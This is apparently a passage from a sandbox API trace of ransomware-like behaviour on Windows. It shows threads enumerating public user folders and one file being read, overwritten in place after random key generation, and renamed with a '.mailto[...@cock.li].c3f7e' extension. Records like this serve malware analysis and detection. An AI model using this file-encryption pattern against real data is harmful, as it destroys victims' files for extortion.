	[0082.001] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac8f8) returned 1

Thread:
	id = 670
	os_tid = 0x19a4

	[0078.205] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x38) returned 0x2dacaf8
	[0078.205] wcscpy (in: _Dest=0x2dacaf8, _Source="C:\\Users\\Public\\Libraries" | out: _Dest="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries"
	[0078.205] wcscat (in: _Dest=0x2dacaf8, _Source="\\" | out: _Dest="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\"
	[0078.205] wcscat (in: _Dest=0x2dacaf8, _Source="*" | out: _Dest="C:\\Users\\Public\\Libraries\\*") returned="C:\\Users\\Public\\Libraries\\*"
	[0078.205] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df7150
	[0078.205] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*", lpFindFileData=0x2df7150 | out: lpFindFileData=0x2df7150*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb207547d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb207547d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a75d0
	[0082.008] wcscmp (_String1=".", _String2=".") returned 0
	[0082.008] FindNextFileW (in: hFindFile=0x46a75d0, lpFindFileData=0x2df7150 | out: lpFindFileData=0x2df7150*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb207547d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb207547d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.008] wcscmp (_String1="..", _String2=".") returned 1
	[0082.008] wcscmp (_String1="..", _String2="..") returned 0
	[0082.008] FindNextFileW (in: hFindFile=0x46a75d0, lpFindFileData=0x2df7150 | out: lpFindFileData=0x2df7150*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.008] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0082.008] wcscmp (_String1="desktop.ini", _String2="..") returned 1
	[0082.009] FindNextFileW (in: hFindFile=0x46a75d0, lpFindFileData=0x2df7150 | out: lpFindFileData=0x2df7150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3816851, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97421a72, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97421a72, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 1
	[0082.009] wcscmp (_String1="RecordedTV.library-ms", _String2=".") returned 1
	[0082.009] wcscmp (_String1="RecordedTV.library-ms", _String2="..") returned 1
	[0082.009] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780778
	[0082.009] wcscpy (in: _Dest=0x4780778, _Source="C:\\Users\\Public\\Libraries" | out: _Dest="C:\\Users\\Public\\Libraries") returned="C:\\Users\\Public\\Libraries"
	[0082.009] wcscat (in: _Dest=0x4780778, _Source="\\" | out: _Dest="C:\\Users\\Public\\Libraries\\") returned="C:\\Users\\Public\\Libraries\\"
	[0082.009] wcscat (in: _Dest=0x4780778, _Source="RecordedTV.library-ms" | out: _Dest="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms") returned="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms"
	[0091.646] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms")) returned 0x20
	[0091.646] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms", dwFileAttributes=0x20) returned 1
	[0091.646] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1568
	[0091.647] GetFileSizeEx (in: hFile=0x1568, lpFileSize=0x191bf878 | out: lpFileSize=0x191bf878*=960) returned 1
	[0091.647] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x3bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.647] ReadFile (in: hFile=0x1568, lpBuffer=0x191bf7fc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x191bf7f8, lpOverlapped=0x0 | out: lpBuffer=0x191bf7fc*, lpNumberOfBytesRead=0x191bf7f8*=0x4, lpOverlapped=0x0) returned 1
	[0091.652] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.652] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a60
	[0091.652] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47317e0
	[0091.652] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b78
	[0091.652] NtQuerySystemTime (in: CurrentTime=0x191bf7d8 | out: CurrentTime=0x191bf7d8*=132251868183846274) returned 0x0
	[0091.652] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0xc7dcde7e
	[0091.652] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0x82c282b5
	[0091.652] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0xafadc486
	[0091.652] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0x6ac84080
	[0091.652] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0x2a5c1c34
	[0091.652] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0xfc8ff3ef
	[0091.652] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0xbb429ef9
	[0091.652] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0x3ebb3334
	[0091.652] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0x63aecac6
	[0091.652] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0x754d1163
	[0091.652] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0xb86be2d7
	[0091.652] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0x11ecd24c
	[0091.652] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0x2507d72b
	[0091.652] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0x8cca614a
	[0091.652] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0xc54e9f64
	[0091.652] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0x4e954df
	[0091.652] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0xb48f99d6
	[0091.652] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0x3dcc256b
	[0091.652] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0x77eef55f
	[0091.652] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0xd9d66834
	[0091.652] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0x5ea8e97a
	[0091.652] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0xddd40d06
	[0091.652] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0x1c6d3206
	[0091.652] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0x8edf9b34
	[0091.652] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0xdc75bfa4
	[0091.653] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0x5c47d9bb
	[0091.653] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0xf9b3bb1d
	[0091.653] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0x8b5a316e
	[0091.653] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0xb6aa2aa6
	[0091.653] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0x855ed9b7
	[0091.653] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0xb3c21d8e
	[0091.653] RtlRandom (in: Seed=0x191bf7e4 | out: Seed=0x191bf7e4) returned 0x363ffde6
	[0091.661] ReadFile (in: hFile=0x1568, lpBuffer=0x50a4888, nNumberOfBytesToRead=0x3c0, lpNumberOfBytesRead=0x191bf7d4, lpOverlapped=0x0 | out: lpBuffer=0x50a4888*, lpNumberOfBytesRead=0x191bf7d4*=0x3c0, lpOverlapped=0x0) returned 1
	[0091.661] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.661] WriteFile (in: hFile=0x1568, lpBuffer=0x50b1090*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x191bf7d0, lpOverlapped=0x0 | out: lpBuffer=0x50b1090*, lpNumberOfBytesWritten=0x191bf7d0*=0x3c0, lpOverlapped=0x0) returned 1
	[0091.663] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731808
	[0091.664] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731920
	[0091.664] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731920) returned 1
	[0091.664] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50b1090) returned 1
	[0091.664] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50a4888) returned 1
	[0091.664] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83198) returned 1
	[0091.664] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfab68) returned 1
	[0091.664] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x37) returned 0x477b068
	[0091.664] SetFilePointerEx (in: hFile=0x1568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.664] WriteFile (in: hFile=0x1568, lpBuffer=0x4790b40*, nNumberOfBytesToWrite=0x11b, lpNumberOfBytesWritten=0x191bf838, lpOverlapped=0x0 | out: lpBuffer=0x4790b40*, lpNumberOfBytesWritten=0x191bf838*=0x11b, lpOverlapped=0x0) returned 1
	[0091.667] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790b40) returned 1
	[0091.667] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477afa8) returned 1
	[0091.667] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731830) returned 1
	[0091.667] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477b068) returned 1
	[0091.667] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731808) returned 1
	[0091.668] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47317e0) returned 1
	[0091.668] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47318a8) returned 1
	[0091.668] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b00) returned 1
	[0091.668] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d61580
	[0091.668] wcscpy (in: _Dest=0x2d61580, _Source="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" | out: _Dest="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms") returned="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms"
	[0091.668] wcscat (in: _Dest=0x2d61580, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0091.668] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x191bf7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Public\\Libraries\\RecordedTV.library-ms.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0091.668] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4926008
	[0091.669] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4926008) returned 1
	[0091.669] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ba08) returned 1
	[0091.669] NtQueryInformationFile (in: FileHandle=0x1568, IoStatusBlock=0x191bf7fc, FileInformation=0x191bf7d4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x191bf7fc, FileInformation=0x191bf7d4) returned 0x0
	[0091.669] NtSetInformationFile (FileHandle=0x1568, IoStatusBlock=0x191bf7fc, FileInformation=0x191bf7d4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0091.670] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d61580) returned 1
	[0091.670] FlushFileBuffers (hFile=0x1568) returned 1
	[0093.274] CloseHandle (hObject=0x1568) 

Thread:
	id = 671
	os_tid = 0x19a8

	[0078.206] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x30) returned 0x4765148
	[0078.206] wcscpy (in: _Dest=0x4765148, _Source="C:\\Users\\Public\\Music" | out: _Dest="C:\\Users\\Public\\Music") returned="C:\\Users\\Public\\Music"
	[0078.206] wcscat (in: _Dest=0x4765148, _Source="\\" | out: _Dest="C:\\Users\\Public\\Music\\") returned="C:\\Users\\Public\\Music\\"
	[0078.206] wcscat (in: _Dest=0x4765148, _Source="*" | out: _Dest="C:\\Users\\Public\\Music\\*") returned="C:\\Users\\Public\\Music\\*"
	[0078.206] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df7888
	[0078.206] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*", lpFindFileData=0x2df7888 | out: lpFindFileData=0x2df7888*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466d9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477aaa8
	[0083.605] wcscmp (_String1=".", _String2=".") returned 0
	[0083.605] FindNextFileW (in: hFindFile=0x477aaa8, lpFindFileData=0x2df7888 | out: lpFindFileData=0x2df7888*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466d9b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.605] wcscmp (_String1="..", _String2=".") returned 1
	[0083.605] wcscmp (_String1="..", _String2="..") returned 0
	[0083.605] FindNextFileW (in: hFindFile=0x477aaa8, lpFindFileData=0x2df7888 | out: lpFindFileData=0x2df7888*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0083.605] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0083.605] wcscmp (_String1="desktop.ini", _String2="..") returned 1
	[0083.605] FindNextFileW (in: hFindFile=0x477aaa8, lpFindFileData=0x2df7888 | out: lpFindFileData=0x2df7888*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0083.605] FindClose (in: hFindFile=0x477aaa8 | out: hFindFile=0x477aaa8) returned 1
	[0083.605] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df7888) returned 1
	[0083.605] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4765148) returned 1
	[0083.605] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb510) returned 1

Thread:
	id = 672
	os_tid = 0x19ac

	[0078.207] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2dacb38
	[0078.207] wcscpy (in: _Dest=0x2dacb38, _Source="C:\\Users\\Public\\Pictures" | out: _Dest="C:\\Users\\Public\\Pictures") returned="C:\\Users\\Public\\Pictures"
	[0078.207] wcscat (in: _Dest=0x2dacb38, _Source="\\" | out: _Dest="C:\\Users\\Public\\Pictures\\") returned="C:\\Users\\Public\\Pictures\\"
	[0078.207] wcscat (in: _Dest=0x2dacb38, _Source="*" | out: _Dest="C:\\Users\\Public\\Pictures\\*") returned="C:\\Users\\Public\\Pictures\\*"
	[0078.207] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df8bc8
	[0078.208] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*", lpFindFileData=0x2df8bc8 | out: lpFindFileData=0x2df8bc8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a75d0
	[0082.004] wcscmp (_String1=".", _String2=".") returned 0
	[0082.004] FindNextFileW (in: hFindFile=0x46a75d0, lpFindFileData=0x2df8bc8 | out: lpFindFileData=0x2df8bc8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466e1ef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.004] wcscmp (_String1="..", _String2=".") returned 1
	[0082.005] wcscmp (_String1="..", _String2="..") returned 0
	[0082.005] FindNextFileW (in: hFindFile=0x46a75d0, lpFindFileData=0x2df8bc8 | out: lpFindFileData=0x2df8bc8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.005] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0082.005] wcscmp (_String1="desktop.ini", _String2="..") returned 1
	[0082.005] FindNextFileW (in: hFindFile=0x46a75d0, lpFindFileData=0x2df8bc8 | out: lpFindFileData=0x2df8bc8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0082.005] FindClose (in: hFindFile=0x46a75d0 | out: hFindFile=0x46a75d0) returned 1
	[0082.005] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df8bc8) returned 1
	[0082.005] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dacb38) returned 1
	[0082.005] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac938) returned 1

Thread:
	id = 673
	os_tid = 0x19b0

	[0078.208] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x32) returned 0x2dacbb8
	[0078.209] wcscpy (in: _Dest=0x2dacbb8, _Source="C:\\Users\\Public\\Videos" | out: _Dest="C:\\Users\\Public\\Videos") returned="C:\\Users\\Public\\Videos"
	[0078.209] wcscat (in: _Dest=0x2dacbb8, _Source="\\" | out: _Dest="C:\\Users\\Public\\Videos\\") returned="C:\\Users\\Public\\Videos\\"
	[0078.209] wcscat (in: _Dest=0x2dacbb8, _Source="*" | out: _Dest="C:\\Users\\Public\\Videos\\*") returned="C:\\Users\\Public\\Videos\\*"
	[0078.209] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df9098
	[0078.209] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*", lpFindFileData=0x2df9098 | out: lpFindFileData=0x2df9098*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a75d0
	[0082.002] wcscmp (_String1=".", _String2=".") returned 0
	[0082.002] FindNextFileW (in: hFindFile=0x46a75d0, lpFindFileData=0x2df9098 | out: lpFindFileData=0x2df9098*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd466eabf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3816851, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.002] wcscmp (_String1="..", _String2=".") returned 1
	[0082.002] wcscmp (_String1="..", _String2="..") returned 0
	[0082.002] FindNextFileW (in: hFindFile=0x46a75d0, lpFindFileData=0x2df9098 | out: lpFindFileData=0x2df9098*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.002] wcscmp (_String1="desktop.ini", _String2=".") returned 1
	[0082.002] wcscmp (_String1="desktop.ini", _String2="..") returned 1
	[0082.002] FindNextFileW (in: hFindFile=0x46a75d0, lpFindFileData=0x2df9098 | out: lpFindFileData=0x2df9098*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa2f0c2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fdc52c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fdc52c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0082.002] FindClose (in: hFindFile=0x46a75d0 | out: hFindFile=0x46a75d0) returned 1
	[0082.002] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df9098) returned 1
	[0082.002] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dacbb8) returned 1
	[0082.002] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb120) returned 1

Thread:
	id = 674
	os_tid = 0x19b4

	[0078.210] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x38) returned 0x2dacbf8
	[0078.210] wcscpy (in: _Dest=0x2dacbf8, _Source="C:\\Users\\FD1HVy\\Templates" | out: _Dest="C:\\Users\\FD1HVy\\Templates") returned="C:\\Users\\FD1HVy\\Templates"
	[0078.210] wcscat (in: _Dest=0x2dacbf8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Templates\\") returned="C:\\Users\\FD1HVy\\Templates\\"
	[0078.210] wcscat (in: _Dest=0x2dacbf8, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Templates\\*") returned="C:\\Users\\FD1HVy\\Templates\\*"
	[0078.210] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df9a38
	[0078.211] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Templates\\*", lpFindFileData=0x2df9a38 | out: lpFindFileData=0x2df9a38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0081.815] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2df9a38) returned 1
	[0081.815] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dacbf8) returned 1
	[0081.815] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70dc0) returned 1

Thread:
	id = 675
	os_tid = 0x19b8

